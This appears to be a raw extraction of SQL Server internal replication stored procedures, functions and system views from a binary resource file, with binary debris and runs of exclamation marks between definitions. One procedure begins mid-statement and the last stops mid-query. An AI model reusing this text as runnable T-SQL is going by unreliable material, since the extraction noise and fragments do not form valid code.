0nVW 8-- This function returns the dynamic filter login (suser_sname) corresponding to the given
-- value of partitionid. If the publication uses both hostname and suser_sname for filtering
-- it uses the current value of hostname set on the connection to get the correct partition id.
create function sys.fn_MSget_dynamic_filter_login_with_hostname
(
    @publication_number int,
    @partition_id int
)
returns sysname
as
begin
    declare @suser_sname sysname
    
    select @suser_sname = SUSER_SNAME_FN from dbo.MSmerge_partition_groups 
        where publication_number = @publication_number
          and partition_id = @partition_id
          and HOST_NAME_FN=host_name()
        
    return @suser_sname
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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0w Y8


--
-- Name: sp_MSrepl_drop_all_role_members
--
-- Descriptions: Drop all role memebrs for spesific roles.
--
-- Parameters: as defined in create statement
--
-- Security: 
--		Procedure is NOT PUBLIC so there are no security checks.
--
-- Returns: 0 - success
--          1 - Otherwise
--
CREATE procedure sys.sp_MSrepl_drop_all_role_members(@rolename sysname)
AS
	declare @member sysname
	declare @retcode  int

	declare #role_members cursor local fast_forward for
	select u.name 
	from sys.database_principals u, sys.database_principals g, sys.database_role_members m
	where g.name = @rolename
		and g.principal_id = m.role_principal_id
		and g.type = 'R'
		and u.principal_id = m.member_principal_id
	for read only
    		
	open #role_members 
	fetch #role_members into @member
	while @@fetch_status <> -1
	begin
	exec @retcode = sys.sp_droprolemember @rolename, @member
	if (@retcode <> 0 or @@error <> 0)
	BEGIN
		return (1)
	END
	fetch #role_members into @member
	end
	close #role_members
	deallocate #role_members

	return (0)
0Y@ 8
CREATE PROCEDURE sys.sp_MShelp_profilecache (        
    @profile_name sysname = NULL
)
as
    declare @profile_id int
    declare @retcode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
    begin
        return(1)
    end

    select @profile_id = NULL
    
    select parameter_name, value 
        from dbo.MSmerge_agent_parameters
        where profile_name = @profile_name
07@ 88<j0@@ .8create procedure sys.sp_scriptdelproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptdelproccore 
                @artid = @artid
                ,@format = 1            -- CALL format
                ,@mode = 1              -- regular scripting mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
05 28create procedure sys.sp_MSpeerconflictdetection_statuscollection_applyresponse (
	@request_id	int,
	@peer_node	sysname, 
	@peer_db	sysname,
	@peer_db_version int,
	@conflictdetection_enabled bit,
	@peer_originator_id	int,
	@peer_conflict_retention int,
	@peer_continue_onconflict bit, 
	@peer_histids nvarchar(max), --content of MSpeer_originatorid_history in xml format
	@originator_node sysname,
	@originator_db sysname
)
as
begin
	-- security check - should be dbo or sysadmin
	declare @retcode int
	exec @retcode = sp_MSreplcheck_subscribe
	if @@ERROR != 0 or @retcode != 0
		return
	
	if sys.fn_MSrepl_istranpublished(db_name(), 1) <> 1
		return

	if publishingservername() <> @originator_node or db_name() <> @originator_db
		return

	declare @publication sysname
	select @publication  = publication
	from MSpeer_conflictdetectionconfigrequest 
	where id = @request_id

	if @publication is NULL  --request does not exists
		return;

	begin tran
	save tran tr_statuscollection_applyresp
	
	update MSpeer_conflictdetectionconfigresponse
	set	peer_db_version = @peer_db_version,
		conflictdetection_enabled = @conflictdetection_enabled,
		originator_id = @peer_originator_id,
		peer_conflict_retention = @peer_conflict_retention,
		peer_continue_onconflict = @peer_continue_onconflict,
		progress_phase = N'status collected',
		modified_date = GETDATE()
	where request_id = @request_id
		and peer_node = @peer_node
		and peer_db = @peer_db
		and progress_phase = N'peer version collected'
	if @@error <> 0
		goto UNDO
	
       --incorporate historical originator IDs into MSpeer_originatorid_history
       --@peer_histids contains the root : /peer_histids
	declare @DocHandle int
	exec sp_xml_preparedocument @DocHandle OUTPUT, @peer_histids
	if @@error <> 0
		goto UNDO
	
	insert MSpeer_originatorid_history (originator_publication, originator_id, originator_node, originator_db,  originator_db_version, originator_version)
	select @publication, originator_id, originator_node, originator_db, originator_db_version, originator_version
	from (	select  *
	 		from OPENXML (@DocHandle, N'/peer_histids/histid', 1)
	 		with (originator_id int,  originator_node sysname,  originator_db sysname,  originator_db_version int, originator_version int)
	 	) as A
	where not exists (select * from MSpeer_originatorid_history
	 				where originator_publication = @publication and originator_id = A.originator_id 
	 					and originator_node = A.originator_node and originator_db = A.originator_db
	 					and originator_db_version = A.originator_db_version)
	
	if @@error <> 0
		goto UNDO

	exec sp_xml_removedocument @DocHandle
	if @@error <> 0
		goto UNDO

	commit tran
	return

UNDO:
	rollback tran tr_statuscollection_applyres
	commit tran
	return

end
0W@ 8create procedure sys.sp_MSenumchangeslightweight
	@pubid			uniqueidentifier,
	@tablenick		int,
	@lastrowguid	uniqueidentifier,
	@maxrows 		int
as
	set nocount on

	declare @retcode 	int
	declare @postfix	nchar(32)
	declare @procname	sysname
	declare @pubnick	int
	declare @METADATA_TYPE_InsertLightweight tinyint
	declare @METADATA_TYPE_UpdateLightweight tinyint
	declare @maxint  int


	-- do permission checking
	exec @retcode = sys.sp_MSreplcheck_subscribe
	if @retcode<>0 or @@ERROR<>0 return (1)

	set @METADATA_TYPE_InsertLightweight= 7 
	set @METADATA_TYPE_UpdateLightweight= 8
    set @maxint= 2147483647

    if 0 = @maxrows
    begin
        set @maxrows= @maxint
    end
    
	select @pubnick = sync_info from dbo.MSmerge_replinfo where repid = @pubid

	select @postfix= procname_postfix
		from dbo.sysmergearticles 
		where pubid = @pubid and nickname = @tablenick
	
	set @procname= quotename('MSmerge_lws_sp_multi_' + @postfix)

	-- Step 1: Set the sync_cookie value for the updates/inserts that will be enumerated.
	-- 		   That sync_cookie will be reset upon downloading the proxied metadata
	--		   from that publisher.
	-- Step 2: Enumerate all those rows whose sync_cookie has just been set.
	--

	-- Step 1
	update dbo.MSmerge_rowtrack
		set sync_cookie= @pubnick
		where tablenick = @tablenick and
			  rowguid > @lastrowguid and
			  changetype in (@METADATA_TYPE_InsertLightweight,
			  				 @METADATA_TYPE_UpdateLightweight)

	-- Step 2
	exec @retcode= @procname 
						@action= 2, 
						@pubnick= @pubnick, 
						@rowguid= @lastrowguid,
						@maxrows= @maxrows
	if @@error <> 0 or @retcode <> 0 return 1

	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!S`<
)o0_@0e Q8create procedure sys.sp_MShelpobjectpublications (@object_name sysname)
AS
    /*
    ** Declarations.
    */
    DECLARE @retcode                int
    DECLARE @mergepublish_bit       smallint
    DECLARE @transpublish_bit       int

    declare @object_id int

    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Initializations
    */
    select @mergepublish_bit    = 4
    select @transpublish_bit    = 1
    select @object_id           = OBJECT_ID(@object_name)

    create table #helpobjpubs (
        publication     sysname         collate database_default not null, 
        reptype         int             NOT NULL, 
        article         sysname         collate database_default not null, 
        article_type    int             NULL, 
        column_tracking int             NULL, 
        article_resolver nvarchar(255)  collate database_default null,
        identity_support int            NULL, 
        resolver_clsid nvarchar(50)     NULL,
        resolver_info  nvarchar(517)    NULL,
        verify_resolver_signature int   NULL,
        allow_interactive_resolver bit  NULL,
        fast_multicol_updateproc bit    NULL,
        check_permissions int           NULL)
    /*
    **  1. Return the transactional publications that the table is involved in
    */
    if (select category & @transpublish_bit from master.dbo.sysdatabases where name = DB_NAME() collate database_default) <> 0
    begin
        if exists (select * from sysextendedarticlesview a, 
            syspublications p where a.pubid = p.pubid and a.objid = @object_id)
            begin
                insert into #helpobjpubs(publication, reptype, article, article_type) 
                    select p.name, 1, a.name, a.type  from sysextendedarticlesview a, 
                        syspublications p where a.pubid = p.pubid and a.objid = @object_id
                IF @@ERROR <> 0 
                    BEGIN
                        select @retcode = 1
                        goto DONE
                    END
            end
    end
    /*
    **  2. Return the merge publications that the table is involved in
    */
    if object_id('sysmergepublications') is not NULL
    begin
        if exists (select * from dbo.sysmergeextendedarticlesview a, 
            dbo.sysmergepublications p where a.pubid = p.pubid and a.objid = @object_id)
            begin
                insert into #helpobjpubs (publication, reptype, article, article_type, column_tracking, article_resolver,
                identity_support, resolver_clsid, resolver_info, verify_resolver_signature, allow_interactive_resolver,
                            fast_multicol_updateproc, check_permissions)
                    select p.name, 2, a.name, a.type, a.column_tracking, a.article_resolver, a.identity_support,
                            a.resolver_clsid, a.resolver_info, a.verify_resolver_signature, a.allow_interactive_resolver,
                            a.fast_multicol_updateproc, a.check_permissions
                        from dbo.sysmergeextendedarticlesview a, dbo.sysmergepublications p 
                        where a.pubid = p.pubid and a.objid = @object_id
                IF @@ERROR <> 0 
                    BEGIN
                        select @retcode = 1
                        goto DONE
                    END
            end
    end
    select @retcode = 0

DONE:
    select * from #helpobjpubs
    drop table #helpobjpubs
    return (@retcode)
0U{g@ x8create procedure sys.sp_scriptvupdproc 
(
    @artid int                  -- id of the article we are processing
    ,@mode tinyint = 1    -- 1 = static scripting, 2 = dynamic scripting
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptupdproccore 
             @artid = @artid
            ,@format = 4        -- VCALL format
            ,@mode = @mode
            ,@publishertype = @publishertype
            ,@publisher = @publisher
    return @retcode
end
renced_major_id= view_arts.objid 
					 												and objectproperty(view_arts.objid , 'IsView') = 1 --iv entry
							join sys.sql_dependencies view_depends on view_depends.object_id = proc_depends.referenced_major_id  
							join sysarticles table_arts on  table_arts.objid = view_depends.referenced_major_id  --table entry
																	and objectproperty(table_arts.objid, 'IsTable') = 1
							where proc_depends.object_id = @tabid)
			or exists(select 1 from sys.sql_dependencies proc_depends -- if proc depends on table
							join sysarticles table_arts on proc_depends.referenced_major_id = table_arts.objid  --table entry
																	and objectproperty(table_arts.objid, 'IsTable') = 1
							join sys.sql_dependencies view_depends on view_depends.referenced_major_id = proc_depends.referenced_major_id  
					 		join sysarticles view_arts on view_arts.objid = view_depends.object_id --iv entry
					 												and objectproperty(view_arts.objid , 'IsView') = 1
							where proc_depends.object_id = @tabid and objectproperty(proc_depends.referenced_major_id, 'IsTable') = 1)
			begin
				return 1
			end
		end
	 	--adding table, checking for iv and procs depending on it, or iv and proc depending on iv
		if objectproperty(@tabid, 'IsTable') = 1 
		begin
			if exists(select 1 from sys.sql_dependencies view_depends 
							join sysarticles view_arts on view_depends.object_id = view_arts.objid and objectproperty(view_arts.objid, 'IsView') = 1 	--iv entry in sysarticles
							join sys.sql_dependencies proc_depends on proc_depends.referenced_major_id = view_depends.referenced_major_id -- proc depends on table
																			or proc_depends.referenced_major_id = view_depends.object_id -- proc depends on iv
							join sysarticles proc_arts on proc_depends.object_id = proc_arts.objid and  objectproperty(proc_arts.objid, 'IsProcedure') = 1 	--'proc exec' entry in sysarticles 
							where view_depends.referenced_major_id = @tabid )
			begin
				return 1
			end
		end
	 	--adding iv, check for base table and proc depending on either base table or iv
		if objectproperty(@tabid, 'IsView') = 1 
		begin
			if exists(select 1 from sys.sql_dependencies view_depends 
							join sysarticles table_arts on view_depends.referenced_major_id = table_arts.objid and objectproperty(table_arts.objid, 'IsTable') = 1 -- base table entry in sysarticles
							join sys.sql_dependencies proc_depends on proc_depends.referenced_major_id = view_depends.referenced_major_id -- proc depends on table
																				or proc_depends.referenced_major_id = view_depends.object_id  -- proc depends on iv
							join sysarticles proc_arts on proc_depends.object_id = proc_arts.objid  and  objectproperty(proc_arts.objid , 'IsProcedure') = 1 -- 'proc exec' entry in sysarticles
							where view_depends.object_id = @tabid)
			begin
				return 1
			end
		end
		return 0
end	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	2<Il@B0O@ }8CREATE view sys.dm_hadr_cluster 
as
	SELECT 
	*
	FROM OpenRowset(TABLE DM_HADR_CLUSTER)
0V@ t
8
--
-- Name:
--		sp_MSrepl_ORAdatatypes
--
-- Description:
--		Define Oracle data types
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		
--

CREATE PROCEDURE sys.sp_MSrepl_ORAdatatypes
(
	@dbms		sysname = 'ORACLE',
	@version	sysname = NULL
)
AS
BEGIN
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'CHAR'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'NCHAR'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'VARCHAR2'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'NVARCHAR2'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'LONG'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'CLOB'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'NCLOB'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 3, @type = N'NUMBER'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 1, @type = N'FLOAT'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'REAL'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'RAW'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'LONG RAW'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'BLOB'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'BFILE'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'DATE'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'ROWID'
		exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'UROWID'

        -- Oracle 9 and above specific data types
        IF (@version NOT LIKE N'8%')
        BEGIN
            exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIMESTAMP'
            exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIMESTAMP WITH TIME ZONE'
            exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIMESTAMP (7) WITH TIME ZONE'
            exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIMESTAMP WITH LOCAL TIME ZONE'
        END
END
0T d8create procedure sys.sp_MSSetLogForRepl
(
    @tabid					int
)
AS 
BEGIN
	set nocount on
	declare @pkkey sysname
			,@source_table sysname
	
	--now set pk bits for base column of PK or computed PK columns so SE always log the off-rows
	declare #hpk cursor local fast_forward for
		select constraint_column_name from sys.fn_MSconstraint_columns (@tabid)
		where type = 'PK'
		union
		select name from sys.fn_basecolsofcomputedpkcol(@tabid, NULL)
	open #hpk
	fetch #hpk into @pkkey
	while (@@fetch_status = 0)
	begin
		EXEC %%ColumnEx(ObjectID = @tabid, Name = @pkkey).SetLogForRepl(Value = 1)
		IF @@ERROR <> 0
		BEGIN
			select @source_table = object_name(@tabid)
			RAISERROR(15052, -1, -1, @source_table)
			return 1
		END     
		fetch #hpk into @pkkey
	end
	close #hpk
	deallocate #hpk
	return 0
END
0V D8Y'h	$'	0NZ P84ChG>PXQ!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q`6
<p"o0 t8
create procedure sys.sp_usertypes_rowset2
(
    @type_schema    sysname = null
)
as
    select
        UDT_CATALOGNAME         = db_name(),
        UDT_SCHEMANAME          = schema_name(u.schema_id),
        UDT_NAME                = convert(sysname,u.name),
        UDT_ASSEMBLY_TYPENAME   = u.assembly_qualified_name
    from
        sys.assemblies a inner join
        sys.assembly_types u on
            (
                a.assembly_id = u.assembly_id
            )
    where
        (@type_schema is null or @type_schema = schema_name(u.schema_id))
    order by 1, 2, 3
0f* 
8create procedure sys.sp_MSsetfilteredstatus @object_id int, @forceset bit = 0
as
    declare @qualified_name nvarchar(517)
    		,@retcode int
    		,@setFlag bit
		,@pkkey sysname
		,@source_table sysname
		,@fcdc_tracked bit
		
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    exec sys.sp_MSget_qualified_name @object_id, @qualified_name output

    BEGIN TRANSACTION
	declare @cdc_tracked_tables table (object_id int)
	
	if object_id('cdc.change_tables') is not null
	begin
		insert @cdc_tracked_tables select distinct source_object_id from cdc.change_tables
	end
	if (@@rowcount = 0)
		set @fcdc_tracked = 0
	else
		set @fcdc_tracked = 1

    if not (@qualified_name is null)
    begin
        EXEC %%Object(MultiName = @qualified_name).LockMatchID(ID = @object_id, Exclusive = 1, BindInternal = 0)
        if @@error <> 0
            select @qualified_name = null
    end

    if @qualified_name is null
    begin
        raiserror(18750, -1, -1, 'sp_MSsetfilteredstatus', 'object_id');
        goto error_abort_exit
    end

    if exists( select * from sys.objects where type = 'RF' and parent_object_id = @object_id )
      or exists( select * from sysarticles A join syspublications P on A.pubid = P.pubid where A.objid = @object_id and (P.allow_queued_tran = 1 or P.allow_sync_tran = 1))
      or exists( select * from sysarticles where objid = @object_id and (upper(upd_cmd) like 'CALL%' OR upper(upd_cmd) like 'XCALL%' ) )
      or exists( select * from sysarticles where objid = @object_id and (upper(del_cmd) like 'XCALL%' ) )
      or exists( select * from sysarticles sa, syssubscriptions ss where sa.objid = @object_id and sa.artid = ss.artid and ss.status = 3)
      or @forceset = 1
    begin
        EXEC %%Relation(ID = @object_id).SetHasFilterProc(Value = 1)
    	set @setFlag = 1
    end
    else 
    begin
		if (@fcdc_tracked = 0)
	       EXEC %%Relation(ID = @object_id).SetHasFilterProc(Value = 0)
    	set @setFlag = 0
    end

	--set/reset IsLoggedForRepl for all replicated column (except legacy blobs) depand on if has_replication_filter is set
	--this controls logging behavior of offrow columns in deletes 

	--don't clear the bits if table is still being tracked by cdc
	if(@setFlag = 1 or @fcdc_tracked = 0)
	begin
		declare #hpk cursor local fast_forward for
			select name from sys.columns where object_id = @object_id and is_replicated = 1 
					and system_type_id not in (34, 35, 99) --image, text. ntext
					and user_type_id not in  (34, 35, 99) --image, text. ntext
		open #hpk
		fetch #hpk into @pkkey
		while (@@fetch_status = 0)
		begin
			EXEC %%ColumnEx(ObjectID = @object_id, Name = @pkkey).SetLogForRepl(Value = @setFlag)
			IF @@ERROR <> 0
			BEGIN
				select @source_table = object_name(@object_id)
				RAISERROR(15052, -1, -1, @source_table)
				return 1
			END     
			fetch #hpk into @pkkey
		end
		close #hpk
		deallocate #hpk        

		--in case of turning of has_replicate_filter, make sure IsLoggedForRepl is still set for base of pk/computed pk columns
		if(@setFlag = 0)
		begin
			exec @retcode = sp_MSSetLogForRepl @object_id
		    if @@ERROR <> 0 or @retcode <> 0
		        return(1)
		end
	end
    COMMIT TRANSACTION
    return (0)

error_abort_exit:
    IF @@TRANCOUNT = 1
        ROLLBACK TRAN
    ELSE COMMIT TRAN
    return (1)
0c+ 8create function sys.fn_helpcollations
	(
	)

returns table
as
	return select * from OpenRowset(TABLE COLLATIONS)
0<@ 8CREATE view sys.dm_hadr_name_id_map
as
	SELECT 
	*
	FROM OpenRowset(TABLE DM_HADR_NAME_ID_MAP)
0%FL 8create function sys.fn_remote_column_privileges(
	@server		sysname,
	@catalog	sysname = NULL,	
	@schema		sysname = NULL,
	@table		sysname = NULL,
	@name		sysname = NULL,
	@grantor	sysname = NULL,
	@grantee	sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_COLUMN_PRIVILEGES, @server, @catalog, @schema, @table, @name, @grantor, @grantee)
0 Z D8jhA2B0|@ 8create procedure sys.sp_helpallowmerge_publication 
AS
declare @db_name    sysname
declare @retcode    int

select @db_name = db_name()

exec @retcode = sys.sp_MSreplcheck_publish
if @@error <> 0 or @retcode <> 0
begin
    return (1)
end

if object_id('sysmergesubscriptions') is not NULL
begin
    if exists (select priority from dbo.sysmergesubscriptions 
                    where db_name=@db_name and 
                          UPPER(subscriber_server) collate database_default = UPPER(publishingservername()) collate database_default and 
                          priority=0 and
                          status <> 7) -- REPLICA_STATUS_BeforeRestore
    begin
        select 0
        RETURN (0)
    end
end

select 1
0&@ 8create procedure sys.sp_MScheckexistsrecguid
	@recguid	uniqueidentifier,
	@exists		bit output
as
    declare @retcode int
    
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0 return 1

	if exists (select * from dbo.sysmergesubscriptions where recguid=@recguid)
	begin
		set @exists= 1
	end
	else
	begin
		set @exists= 0
	end

	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$
wh`></v/0@ H8create procedure sys.sp_validatemergepullsubscription
    (@publication            sysname,
     @publisher                sysname,
     @publisher_db            sysname,
     @level                    tinyint
     ) AS

    set nocount on 
    declare @retcode                int
    declare @pubid                    uniqueidentifier
    declare @subscriber                sysname
    declare @subscriber_db            sysname
    declare @subid                  uniqueidentifier
    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    select @subscriber = @@SERVERNAME, @subscriber_db=db_name()
    select @pubid = NULL
    select @subid = NULL
    
    select @pubid=pubid from dbo.sysmergepublications where LOWER(publisher)=LOWER(@publisher) and publisher_db=@publisher_db and name=@publication
    if @pubid is NULL
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end
    
    if @level <0 or @level > 3
    begin
        raiserror(21184, 16, -1, '@level', '1', '2','3')
        return (1)
    end

    select @subid = subid from dbo.sysmergesubscriptions where pubid=@pubid and db_name=@subscriber_db and LOWER(subscriber_server) = LOWER(@subscriber)
    if @subid is NULL
    begin
        raiserror(14055, 16, -1)
        return (1)
    end

    update dbo.MSmerge_replinfo 
        set validation_level=@level 
        where repid = @subid
    if @@ERROR<>0
        return (1)
    return (0)

0 8
-- add it
CREATE PROCEDURE sys.sp_SetPDWOnlyInterfaceObject
	@object	sysname,			-- object name
	@fvisible bit = 1,			-- object visible in views, etc by default
	@owner sysname = N'sys'		-- object schema name
AS
	-- Update status bitmask in metadata for this object indicating PDW public
	EXEC %%Object( Owner = @owner, Name = @object ).SetPDWOnlySystemObject()
0c 8
create procedure sys.sp_MSfixupworkingdirectory (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @working_directory nvarchar(255), -- default null
    @subscription_type int
    )
AS

    DECLARE @local_working_directory sysname 
    DECLARE @retcode INT

    IF @working_directory IS NULL
    BEGIN
        -- Parameter is unspecifed, try to inherit value from
        -- shared susbcriptions
        SELECT TOP 1 @local_working_directory = working_directory
          FROM MSsubscription_properties sp
          JOIN MSreplication_subscriptions rs  
